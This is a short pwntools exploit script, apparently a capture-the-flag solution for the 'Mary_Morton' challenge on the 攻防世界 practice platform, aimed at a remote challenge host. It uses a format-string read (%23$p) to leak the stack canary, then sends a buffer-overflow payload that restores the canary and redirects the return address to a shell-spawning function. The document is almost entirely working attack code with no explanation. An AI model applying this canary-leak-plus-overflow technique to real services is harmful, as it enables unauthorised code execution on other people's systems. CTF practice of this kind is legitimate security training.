[攻防世界]Mary_Morton

from pwn import *

# io=process(‘./mary‘)
io=remote(‘111.198.29.45‘,43483)

io.recvuntil(‘3. Exit the battle \n‘)
io.sendline(str(2))
sleep(0.5)
io.sendline(‘%23$p‘)
data=io.recvuntil(‘\n‘)
print "stack: "+data
stack=int(data[:-1],16)
print "stack: "+hex(stack)

shell_addr=0x4008DA
io.recvuntil(‘3. Exit the battle \n‘)
io.sendline(str(1))
sleep(0.5)
payload=‘a‘*(0x90-8)+p64(stack)+p64(shell_addr)*5
io.sendline(payload)

io.interactive()
#rdi, rsi, rdx, rcx, r8, r9
# %23$p